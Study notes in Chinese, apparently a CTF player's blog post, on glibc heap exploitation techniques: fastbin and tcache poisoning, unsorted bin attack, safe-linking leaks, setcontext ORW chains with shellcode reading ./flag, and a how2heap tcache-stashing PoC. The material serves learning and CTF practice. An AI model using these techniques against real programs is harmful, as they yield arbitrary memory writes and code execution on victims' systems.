堆知识--持续


author: moqizou

堆源码的知识总是看一点忘一点,导致堆的学习非常缓慢。这里我还是开个文章记录一下,堆源码的知识吧。

Chunk Extend and Overlapping

这是一种通过改变chunk head来达到伪造chunk大小,从而把用户区申请到相邻的chunk上去,达到溢出修改其他chunk的目的。

主要利用的ptmalloc机制如下。

  • 寻找下一个chunk的机制(下一个指高地址)

ptmalloc机制通过当前chunk指针加上当前chunk大小来获取下一个chunk的指针。

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

而获取chunk大小则是如下

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)->mchunk_size)

一种是直接获取 chunk 的大小,不忽略掩码部分,另外一种是忽略掩码部分。

所以只要我们改掉size位就可以伪造当前chunk的size,从而对下一个chunk非法申请。

在 ptmalloc 中,获取前一个 chunk 信息的操作如下

/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk.  Only valid if prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。

在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:

#define inuse(p)
    ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

即查看下一 chunkprev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。

也就是说,伪造size 然后把chunk free之后,计算出来的下一个chunk,实际上就是更具伪造的size计算出来的。

利用如上几点可以进行extend 和 overlapping

总的来说,可以修改fd造成fastbin attack 也可以unsorted bin泄露主要是overlapping之后,原指针也可以操作chunk。

有溢出就可以用这个overlap,修改chunk指针,导致两个指针指向一个chunk

fastbin attack

利用点在于fastbin的管理机制,

首先,fastbin的pre_inuse位永远是1,这保证了fastbin不会发生合并

而且,fastbin free后是靠fd指针链接在一起的,所以先进去的在前面,也就是链表尾,那么遍历fasbin的时候,就是从最后一个进去的chunk开始遍历的,

所以fastbin 先进后出。

此外,_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。

_int_malloc 中的校验如下

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
      errstr = "malloc(): memory corruption (fast)";
    errout:
      malloc_printerr (check_action, errstr, chunk2mem (victim));
      return NULL;
}

index,看fastbin的结构

Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
//这里的size不包括chunk头

idx实际上是main_arena找相应的fasbin的一种方法吧,在进行fd修改的时候,要伪造size,而这里就可以看下怎么让大小在fastbin内

程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80)

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

所以说,实际上0x7f是在idx=5的chunk,0x7f>>4 = 7 7-2 = 5

将fastbin分配到__malloc_hook或者__free_hook的时候,要注意这个,要去看hook附近有没有可以错位的大小。

最后fastbin attack其实目的就在于获得fd的控制权限。也就是chunk的任意分配。

tcache poisoning

tcache 也可以double free 而且在早期的libc2.27以前,可以说是横行霸道,应为可以直接多次free没有任何的保护机制。后来libc经过升级之后,增加了一些保护机制。

malloc.c->2904行

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

如源码,tcache结构体添加了一个key字段来防止double frees。

malloc.c->4189行

#if USE_TCACHE  {    size_t tc_idx = csize2tidx (size);    if (tcache != NULL && tc_idx < mp_.tcache_bins)      {	/* Check to see if it's already in the tcache.  */	tcache_entry *e = (tcache_entry *) chunk2mem (p);	/* This test succeeds on double free.  However, we don't 100%	   trust it (it also matches random payload data at a 1 in	   2^<size_t> chance), so verify it's not an unlikely	   coincidence before aborting.  */	if (__glibc_unlikely (e->key == tcache))//如果要free的块的key与tcache相等	  {	    tcache_entry *tmp;	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);	    for (tmp = tcache->entries[tc_idx];		 tmp;		 tmp = tmp->next)//循环所有key相等的块	      if (tmp == e)//如果有块等于要free的块		malloc_printerr ("free(): double free detected in tcache 2");//报错,double free	    /* If we get here, it was a coincidence.  We've wasted a	       few cycles, but don't abort.  */	  }	if (tcache->counts[tc_idx] < mp_.tcache_count)	  {	    tcache_put (p, tc_idx);	    return;	  }      }  }

大概意思就是tcache有个key,如果你要去free一个chunk,那么就会判断,这个chunk是不是tcache,如果key和tcache相等就会遍历所有key相等的chunk,如果有相等的,就会爆出double free的错误。但是,当我们有UAF的时候,可以轻松绕过。

poc

1 malloc2 free3 修改key字段为别的值。4 再次free

这里拿一个师傅的demo来做例子

#include<stdio.h>int main(){	size_t *ptr1,ptx;	ptr1=malloc(0x100);	free(ptr1); //free一个chunk	sleep(0); //只是为了打断点,没别的用。	ptx=ptr1[1];	printf("prt1[1]=>0x%llx",ptx);	ptr1[1]=ptx-8;//将chunk的key的值-8;	free(ptr1);//测试	sleep(0);	return 0;}

不一定要减去8,只要不是现在这个都可以。

然后调试发现,ptr1[1]这个位置好像是tachebin存储idx的地方。然后的话,构成双向链表之后,show函数是很好去泄露堆地址的,泄露堆地址之后我也不知道干啥

有了,,,,tcache中,第一次申请tcache之后,会先申请一个0x250大小的chunk,记录每个tcache bin 链表的信息。double free形成之后,利用fd指针,把堆申请到这个0x250的chunk去,然后修改tcache bin的信息,让某个链表变满,然后再次free同大小的chunk就可以free进去unsorted bin了。

此外还有一种方法绕过,double free之后 malloc三次,tcache的记录就是-1,然后再次free同大小的chunk就会free进去unsorted bin。

unsorted bin

unsorted bin多用来泄露地址,但也有别的用法,关于unsorted bin首先,可以和top chunk合并,然后值得注意的是

相同size的chunk进入unsortedbin会进行合并

考虑到当我们将 tcache struct 送入 unsorted bin 中之后,其上会残留 main_arena 附近 的指针,而这个指针和 stdout 离得很近

可以利用unsorted bin 的切割拿到stdout附近的指针,从而对其劫持。

此外unsorted chunk会和topchunk合并,先进先出,从头部操作。泄露main_arena的话,可以查看libc里面malloc_trim的地址,或者利用malloc_hook算出来,

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

访问链表尾可以获得fd就可以泄露libc,但是,如果是链表头的话printf在64位往往会被截断。

unsorted bin attack

malloc有一段这样的代码,

          /* remove from unsorted list */          if (__glibc_unlikely (bck->fd != victim))            malloc_printerr ("malloc(): corrupted unsorted chunks 3");          unsorted_chunks (av)->bk = bck;          bck->fd = unsorted_chunks (av);

类似于unlink的解链操作。而

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {            bck = victim->bk;            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))                malloc_printerr(check_action, "malloc(): memory corruption",                                chunk2mem(victim), av);            size = chunksize(victim);            /*               If a small request, try to use last remainder if it is the               only chunk in unsorted bin.  This helps promote locality for               runs of consecutive small requests. This is the only               exception to best-fit, and applies only when there is               no exact fit for a small chunk.             */            /* 显然,bck被修改,并不符合这里的要求*/            if (in_smallbin_rage(nb) && bck == unsorted_chunks(av) &&                victim == av->last_remainder &&                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {                ....            }            /* remove from unsorted list */            unsorted_chunks(av)->bk = bck;            bck->fd                 = unsorted_chunks(av);

不难发现,在unsorted chunk解链的过程中,victim的fd似乎没有任何作用,所以可以控制fd,然后指向一个位置,利用解链操作就可以实现attack,这里确实可以和off_by_one形成一些unlink攻击,利用的是malloc的时候,回去unsorted bin里面一个一个的寻找chunk,如果不符合就解链把chunk送到合适的bin里面去。

但是这里写入的是一个地址,就是可以给一个地址写入一个超级大的变量,但是我们无法控制这一块地址。

特殊利用

利用 unsorted bin attack ,修改 global_max_fast 全局变量,由于 global_max_fast 变量为控制最大的 Fast chunk 的大小,将这里改写为 unsorted bin 的地址 (一般来说是一个很大的正数),就能使之后的 chunk 都被当作 fast chunk,即可进行 Fast bin attack。

tcache 管理器的利用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-23XFxMug-1629806041607)(https://i.bmp.ovh/imgs/2021/05/6614988d4c0429fe.png)]

分析知道,从对管理器chunk的fd开始每个字节代表一个大小的tcache,从0x20开始一共64个字节,64个tcache链,然后每个链表的头都会记录在这个管理器里面。我们可以利用uaf等漏洞,把chunk分配到这上面来,从而控制tcache_entry。

关于libc2.32中tcache管理器的不同,

在libc2.27中,tcache管理器只有0x250的大小,然后tcache的fd什么的也类似fastbin,但是调试ff的时候发现,fd非常的混乱,但是heapinfo(pwngdb)和fd显示的内容不一样,我就想知道为什么,找了一些资料。

libc2.32中的tcache管理器大小是0x290,多了0x40。先不看这里,那为什么fd不是我们期望的值呢?

看下面libc2.32新增的保护(glibc2.31以下没有)

glibc 2.32下的 tcache_put 与 tcache_get

在tcache取出和存放的时候加了一层保护,在 glibc 2.32 中引入了一个简单的异或加密机制:

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free will  detect a double free.  */e->key = tcache;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */static __always_inline void *tcache_get (size_t tc_idx){tcache_entry *e = tcache->entries[tc_idx];if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected");tcache->entries[tc_idx] = REVEAL_PTR (e->next);--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;}
  • 新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护(aligned_ok)
  • 引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:
#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

即 tcache_entry->next中存放的chunk地址为 next的地址右移12位与当前tcache_entry地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度

不过若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址

那么就有了新的利用方法。

leak heap_base

当我们malloc第一个chunk的时候,当前地址位NULL,下一个chunk的地址就是堆地址,移12位之后异或,得到的就是heap_base所以实际上对堆基址的泄露更加简单了

具体的利用看vnctf2021 ff。

tcache从0到1

首先看一下这个的结构体吧

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */typedef struct tcache_entry{  struct tcache_entry *next;} tcache_entry;/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */typedef struct tcache_perthread_struct{  char counts[TCACHE_MAX_BINS];  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread tcache_perthread_struct *tcache = NULL;

tcahce_struct结构体声明和我们想的一样,前面是存储counts的数组,后面是链表头。tcache里面只有一个next指针

再看两个函数

static voidtcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);  e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);}static void *tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]);  return (void *) e;}

关于puts,没有检查size域啥的,只检查了大小。然后加入到链表头get的话,从头取出,也没有具体的判定,根据malloc的申请量获得idx,然后直接从链表头取出。

这两个函数在int_malloc 和 int_free之前会被调用。

利用点在malloc申请的时候,tcache没有的时候也有别的来源

  • fastbin,如果有符合大小的chunk,会返回chunk,然后把当前链表剩下的放到tcache里面。
  • smallbin 同理
  • unsorted bin里面的时候当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

fastbin有一种攻击手法针对这个,先看源码

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))    {      idx = fastbin_index (nb);      mfastbinptr *fb = &fastbin (av, idx);      mchunkptr pp;      victim = *fb;      if (victim != NULL)    {      if (SINGLE_THREAD_P)        *fb = victim->fd;      else        REMOVE_FB (fb, pp, victim);      if (__glibc_likely (victim != NULL))        {          size_t victim_idx = fastbin_index (chunksize (victim));          if (__builtin_expect (victim_idx != idx, 0))              malloc_printerr ("malloc(): memory corruption (fast)");          check_remalloced_chunk (av, victim, nb);#if USE_TCACHE          /* While we're here, if we see other chunks of the same size,         stash them in the tcache.  */          size_t tc_idx = csize2tidx (nb);          if (tcache && tc_idx < mp_.tcache_bins)        {          mchunkptr tc_victim;          /* While bin not empty and tcache not full, copy chunks.  */          while (tcache->counts[tc_idx] < mp_.tcache_count            && (tc_victim = *fb) != NULL)            {              if (SINGLE_THREAD_P)               *fb = tc_victim->fd;              else              {                REMOVE_FB (fb, pp, tc_victim);                if (__glibc_unlikely (tc_victim == NULL))                  break;              }              tcache_put (tc_victim, tc_idx);            }        }#endif          void *p = chunk2mem (victim);          alloc_perturb (p, bytes);          return p;        }    }    }

函数和变量太多了有点没看懂,到后面再分析。

smallbin的利用

smallbin脱链的时候也会有unlink这样的东西,但是没有合并的时候的检测机制,所以unlink也可以在这个条件下使用,但是还没见过

堆上的orw

利用setcontext实现程序流的劫持。定义

#include <ucontext.h>int setcontext(const ucontext_t *ucp);

而这个函数的内容,

<setcontext>:     push   rdi<setcontext+1>:   lea    rsi,[rdi+0x128]<setcontext+8>:   xor    edx,edx<setcontext+10>:  mov    edi,0x2<setcontext+15>:  mov    r10d,0x8<setcontext+21>:  mov    eax,0xe<setcontext+26>:  syscall <setcontext+28>:  pop    rdi<setcontext+29>:  cmp    rax,0xfffffffffffff001<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128><setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]<setcontext+44>:  fldenv [rcx]<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]<setcontext+94>:  push   rcx<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]<setcontext+125>: xor    eax,eax<setcontext+127>: ret    <setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78<setcontext+135>: neg    eax<setcontext+137>: mov    DWORD PTR fs:[rcx],eax<setcontext+140>: or     rax,0xffffffffffffffff<setcontext+144>: ret

利用rdi寄存器控制了几乎所有的寄存器,其实就是保存和回复上下文,和SROP应该有类似的原理。

至于为什么要跳到 setcontext+53 这个位置。因为fldenv [rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。

此外rsp的值也要注意,push ecx 和后面的ret,要求指向的内存可以访问

利用,其中参数就是rdi,所以我们就是要构造,ucontext_t可以利用SROP的Sigreturnframe()来构造结构体。

# 指定机器的运行模式context.arch = "amd64"# 设置寄存器frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = 0frame.rdx = 0

类似上面。一般利用思路如下

执行mprotect函数,后注入shellcode。也可以直接用来构造ROP链。

打hook为<setcontext+53>然后

只要把该SigreturnFrame写入一个chunk中,free它就能达到目的,这里就要事先去了解SigreturnFrame的结构了,这是一个str类型的东西,free这个东西的时候,他就是rdi,通过这个可以直接掌控rdi偏移位置的寄存器。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JWtQaOnK-1629806041610)(https://i.loli.net/2021/04/25/TJmHMPc46jQSXx8.png)]

除掉第一个return的系统调用,偏移和setcontext一摸一样。值得注意的是当free这个变量之后,rsp是最先恢复的,所以内存一定要可以访问,而rcx对应的是rdi+0xa8那么对应到框架里面就是rip所以等价起来就是控制rip就可以了。总的来说,一般偏移不变,特殊情况除外。

看一段mprotect的利用

首先,我们把setcontent+53的地址写入__free_hook,并在其之后0x10字节内存中写上两遍__free_hook+0x18的地址,最后把如下shellcode1写入:

xor rdi,rdimov rsi,%dmov edx,0x1000mov eax,0syscalljmp rsi

setcontext的主要代码如下:

frame = SigreturnFrame()frame.rsp = free_hook+0x10frame.rdi = new_addrframe.rsi = 0x1000frame.rdx = 7frame.rip = libc.sym['mprotect']

当mprotect执行完时,rsp指向__free_hook+0x10,其中的值为__free_hook+0x18,这样我们就执行了第一段shellcode,这段shellcode的目的是往指定内存中读入shellcode并跳过去执行
我们第二段shellcode如下:

mov rax, 0x67616c662f2e ;// ./flagpush raxmov rdi, rsp ;// ./flagmov rsi, 0 ;// O_RDONLYxor rdx, rdx ;mov rax, 2 ;// SYS_opensyscallmov rdi, rax ;// fd mov rsi,rsp  ;mov rdx, 1024 ;// nbytesmov rax,0 ;// SYS_readsyscallmov rdi, 1 ;// fd mov rsi, rsp ;// bufmov rdx, rax ;// count mov rax, 1 ;// SYS_writesyscallmov rdi, 0 ;// error_codemov rax, 60syscall

然后其他的方法还有待自己学习。

看一篇demo

vnctf2021

glibc>2.29

当到了高版本libc之后rdi变成了rdx,而控制rdx的gadget少的不行,所以提供一个万能gadget

  • 第一种setcontext的方法

这其中用到的 gadgetgetkeyserv_handle+576,其汇编如下

mov     rdx, [rdi+8]mov     [rsp+0C8h+var_C8], raxcall    qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29到2.32都可用

  • 第二种,栈迁移

又要控制 rdx又要构造 setcontext,很麻烦,在这里介绍另一种解法,通过 gadget控制rbp的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的rop链,从而获取flag

先介绍一下万金油的gadget svcudp_reply+26,汇编如下

    mov rbp, qword ptr [rdi + 0x48];     mov rax, qword ptr [rbp + 0x18];     lea r13, [rbp + 0x10];     mov dword ptr [rbp + 0x10], 0;     mov rdi, r13;     call qword ptr [rax + 0x28];

这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移

从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag

  • 第三种,环境变量打main函数的返回地址

这种方法国赛有师傅用到了,写在了我的国赛WP上。

如果 栈地址已知的话,解题过程会更加简单,而且不需要特意去寻找万金油的gadgets

那么如何泄露栈地址呢?

其实程序的栈地址会存放在 __environ中,我们只要输出__environ的内容就能获取栈地址

在获取到栈地址后,我在main函数的 ret处下一个断点,发现main函数返回值和我们泄露的栈地址正好相差 xxx这个偏移要自己去算,反复验证,反复计算。稍微错一点都不可以。

至此,堆上的orw基本就这些姿势了。还是强调,手法,百无禁忌

off_by_NULL

知道off_by_one可以造成overlap,但是by__NULL怎么利用还不知道,这里专门写一下。

利用unsorted bin(有tcache)向前overlap,伪造pre_size和覆盖insure。然后就可以伪造前面chunk的大小了,之后把前面的chunk free然后unsorted bin中的chunk就会合并,这样中间的chunk就会多出控制(fd,bk)的机会,(根据unsorted_bin分割原理)就造成了tcache可next可控,劫持到main_arena这样的地方。

IO

可以利用arena和stdout很近,那么可以修改最低位,然后爆破12bit,malloc到stdout结构体,然后修改结构体内部,伪造_flag可以打穿stdout。具体的绕过还要看源码,这个源码比malloc难看。。。。

一般是修改write_base偏移是32,修改到某个地方,然后减去这个地方的偏移,然后就可以泄露了。

一般是直接修改到stdout的另外一个地方,然后减去后五位。

tcache stashing unlink

许久未写堆题,最近一写暴露出来一些不足。
以前对于堆的学习,可以说是没有主干,看一下源码,学一点东西,做一点题,凭着感觉还能写出来几个题,但是不系统,所以现在希望对一写经典的利用手法进行归纳。也算是做一个总结

环境

libc 2.29 2.31 (2.27应该可以)
tcache的利用

描述

calloc分配堆的时候,不从tcache中取,从small bin 里面取,如果此时tcache bin空闲。就会把多余的small chunk头插法插入tcache

源码

/*      If a small request, check regular bin.  Since these "smallbins"      hold one size each, no searching within bins is necessary.      (For a large request, we need to wait until unsorted chunks are      processed to find best fit. But for small ones, fits are exact      anyway, so we can check now, which is faster.)    */      if (in_smallbin_range (nb))      {        idx = smallbin_index (nb);        bin = bin_at (av, idx);          if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk          {            bck = victim->bk;  //获取倒数第二个chunk        if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性          malloc_printerr ("malloc(): smallbin double linked list corrupted");            set_inuse_bit_at_offset (victim, nb);            bin->bk = bck; //将victim从small bin的链表中卸下            bck->fd = bin;              if (av != &main_arena)          set_non_main_arena (victim);            check_malloced_chunk (av, victim, nb);  #if USE_TCACHE        /* While we're here, if we see other chunks of the same size,          stash them in the tcache.  */        size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引        if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围          {            mchunkptr tc_victim;              /* While bin not empty and tcache not full, copy chunks over.  */            while (tcache->counts[tc_idx] < mp_.tcache_count  //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里               && (tc_victim = last (bin)) != bin)          {            if (tc_victim != 0)              {                bck = tc_victim->bk;                set_inuse_bit_at_offset (tc_victim, nb);                if (av != &main_arena)              set_non_main_arena (tc_victim);                bin->bk = bck; //将当前chunk从small bin里卸下                bck->fd = bin;                        //放入tcache bin里                tcache_put (tc_victim, tc_idx);                  }          }          }  #endif            void *p = chunk2mem (victim);            alloc_perturb (p, bytes);            return p;          }      }

不难发现使用tcache的时候,沒有增加双向链表的检测,直接就是bck=tc_victim->bk然后利用bck直接脱去small_bin的链,把tc_victim加入tcache,这里注意small_bin是FIFO先进先出。
所以如果我们可以劫持small_bin中某一节点的bk值(因为是通过bk来寻找的,而不是fd如果是FILO应该就是fd指针。)

例子

how2heap的一个实验来说明

# glibc-2.27#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){    unsigned long stack_var[0x10]={0};    unsigned long *chunk_list[0x10]={0};    unsigned long *target;    setbuf(stdout, NULL);    printf("stack_var addr is:%p\n",&stack_var[0]);    printf("chunk_lis addr is:%p\n",&chunk_list[0]);    printf("target addr is:%p\n",(void*)target);    stack_var[3] = (unsigned long)(&stack_var[2]);    for(int i = 0;i < 9;i++){         chunk_list[i] = (unsigned long*)malloc(0x90);    }    for(int i = 3;i < 9;i++){        free(chunk_list[i]);    }        free(chunk_list[1]);    free(chunk_list[0]);    free(chunk_list[2]);        malloc(0xa0);    malloc(0x90);    malloc(0x90);        chunk_list[2][1] = (unsigned long)stack_var;    calloc(1,0x90);   target = malloc(0x90);    printf("target now: %p\n",(void*)target);    assert(target == &stack_var[2]);    return 0;}

上调试吧。

stack_var addr is:0x7fffffffde20chunk_lis addr is:0x7fffffffdea0target addr is:0x7ffff7dde39f

这是最开始的打印。然后就是执行stack_var[3] = (unsigned long)(&stack_var[2]);,malloc了9个chunk,0xa0大小
之后free掉,后6个先free,前三个为了保证不会在unsorted bin发生合并,岔开free,就有了如下的bin表

                  top: 0x4057f0 (size : 0x20810)        last_remainder: 0x0 (size : 0x0)             unsortbin: 0x405390 (size : 0xa0) <--> 0x405250 (size : 0xa0)(0xa0)   tcache_entry[8](7): 0x405300 --> 0x405760 --> 0x4056c0 --> 0x405620 --> 0x405580 --> 0x4054e0 --> 0x405440

之后malloc(0xa0)是因为如果没有匹配的chunk,unsorted_bin里面的chunk就会被分配,这样的话这两个unsorted bin的chunk就进到了small bin,然后再去freet cache_chunk空出两个位置。

smallbins0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x405390

然后改chunk[2]的bk,再去calloc就会发生unlink。

smallbins0xa0 [corrupted]FD: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x405390BK: 0x405250 —▸ 0x405390 —▸ 0x7fffffffde20 —▸ 0x7fffffffde30 ◂— 0x0

然后发现target变了位置,这就是简单的tcache-stashing,原理是如此,按照这样实际上可以实现任意地址分配。

上一篇:消息队列与无锁队列实现


下一篇:socket编程之结构体解析